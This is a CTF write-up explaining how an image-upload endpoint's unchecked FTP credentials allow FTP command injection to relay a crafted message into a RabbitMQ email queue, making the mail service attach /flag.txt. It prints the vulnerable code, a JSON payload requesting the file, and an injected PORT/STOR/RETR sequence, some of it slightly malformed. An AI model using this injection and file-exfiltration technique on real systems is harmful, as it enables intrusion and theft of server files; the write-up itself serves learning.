This was a CTF I unfortunately didn’t have the time for, as I was busy doing finals in April :(. My team let me know about this cool and unique problem, and I’m glad they did!

This was a journey in understanding internet protocols that deepened my knowledge of them to completely new levels, so I’m really grateful I got the chance to try this problem out - even though I tried it after the CTF ended :P

Let’s Begin!

This problem really holds up to its name. The website is simple - you have the option to login or register as a new user.

Login

Uniquely, we are given the source code for the problem. The source code shows us that the program has 6 services:

\services
    \api 
    \email (email server, sends emails based on rabbitmq queue)
    \ftp
    \postgres (database)
    \rabbit (email queue, will send requests to the email server)
    \server
...

Checking out the code, I see that flag.txt is actually mentioned. It’s in the services dockerfile, which is only used by api, email and server services. So, the vulnerability probably is within one of these services.

I checked out api first - and I see that the only protocols that it allows are HTTP, HTTPS, and FTP. Aside from the FTP protocol, the other 2 are pretty standard protocols to see in APIs.

Looking at email next, which uses nodemailer. I’m not too familiar with it, so I check out its documentation:

Login

This seems like a good loophole to exploit - we just need to specify the filepath and nodemailer will send an email with an attachment of whatever file we specified by the filepath, so we can exploit nodemailer’s same origin policy. Since the rabbitmq server is the email server’s queue, we will send a rogue email request into rabbitmq’s queue to serve up to the email server, which will tell it to email us the flag!

Now the hard part - how do we ask the server? How do we send a request to the server to send us the email with the flag as an attachment?

I spent a long time trying to figure out how to send a rogue request to the rabbitmq server that will send us the email we want. I spent hours just browsing through the source code, not really paying attention…

Until I came across this piece of code in the api/index.ts file:

    app.get("/image", async (req, res) => {
        let { url } = req.query;
        if (typeof url !== "string") {
            return res.status(500).send("Bad body");
        }

        let parsed = new URL(url);

        let image: Buffer;
        if (parsed.protocol === "http:" || parsed.protocol === "https:") {
            const imageReq = await fetch(parsed.toString(), { method: "GET" });
            image = await (imageReq as any).buffer();
        } 
        
         //THIS PART HERE!
        else if (parsed.protocol === "ftp:") {
            let username = decodeURIComponent(parsed.username);
            let password = decodeURIComponent(parsed.password);
            let filename = decodeURIComponent(parsed.pathname);
            let ftpClient = await connectFtp({
                host: parsed.hostname,
                port: parsed.port !== "" ? parseInt(parsed.port) : undefined,
                user: username !== "" ? username : undefined,
                password: password !== "" ? password : undefined,
            });
            image = await ftpClient.get(filename);
        } else {
            return res.status(500).send("Bad image url");
        }
                if (!isPNG(image)) {
            return res.status(500).send("Bad image (not a png)");
        }

        res.type(".png").status(200).send(image);
    })

    app.listen("4101");

Image: the profile picture we would upload when we register as a new user. For HTTP and HTTPS protocols it’s a simple GET method, not much to do there. But for FTP? It asks for the username, password and filename, unchecked, then asynchronously asks the server for the image that matches the filename that we specified. FTP is a text-based protocol, and since username and password fields are passed to it unchecked, we could definitely inject some protocol commands, custom data (something like {to: "email@example.com", attachments:[{path:"/flag.txt"}]}), and make FTP send requests that were never intended to be sent.

Here’s something I learned in my internet computing class about the FTP protocol: FTP connections have two modes : “Active” and “Passive”. I’ll give a heavily truncated explanation of the two modes (if you’re interested in learning more about the FTP protocol, check out the RFC specifications on it):

– In active mode, the client will specify the IP of the destination to the server. The FTP server will then send the files to the specified IP. The client establishes the communication channel, tells the server the address to send data to, and the server will then open a data channel to the address.

– In passive mode, the server tells the client where the files will be sent to. In this case, the client will then have to open the data channel as well to get the files. By default, applications running FTP will run on passive mode.

The difference in active and passive really lies in the RETR command in the FTP specifications: active-mode RETR makes the client stipulate the destination IP, and passive-mode RETR makes the server stipulate it.

So for this challenge, we can make the FTP client specify the rabbitmq server as the destination IP, and use RETR to make the FTP server send data to rabbitmq.

And since the FTP protocol for this application handles for the uploading and retrieval of profile pictures, we just need to hide our payload (which would ask the rabbitmq server to send an email with the flag.txt file in it to us) in our profile picture, specify FTP to operate on active (using PORT command), and use the RETR command to let the FTP server send our payload to the rabbitmq server!

Okay, I’ve explained alot here. This is the attack plan:

  • Craft a payload that will tell the rabbitmq email queue server to email to us, with flag.txt as the attachment. Hide it in the profile picture (make sure its a png). Upload whatever picture it is as our profile picture.

Here’s the payload I crafted (a classic SSRF):

{"to":"yourEmailGoesHere@example.com","text":"Hello would you like a flag","attachments":[{"path":"/flag.txt"}]}
  • Through the username field, input several FTP commands to make the FTP server send our payload to the rabbitmq server. Here, I have made a file called “payload.txt” that has the post request data with the payload in it:
PASS blah
PORT 255,255,255,255,80
STOR payload.txt
PORT 172,32,56,72,0, 15672      <-----rabbitmq server and port
RETR payload.txt
  • Hopefully, the rabbitmq server will send us an email!
PCTF{not_that_contrived_i_guess}

NOTE: Doing it this way means the FTP server was establishing a connection with the rabbitmq one. However, multiple times I tried this the TCP connection would close immediately after I send my request! I worked around this by sending in a bunch of garbage in my payload.txt file alongside the actual payload, so that at least the TCP connection would have to spend time sending all of that data(think: an unending stream of AAAAAs), and persist long enough for the reponse to be recieved.

This was a fun way to learn how FTP servers work and how protocols of the internet operate! I’m upset that I didn’t have the time to participate when it happened, but nonetheless this was a great challenge :)

Jam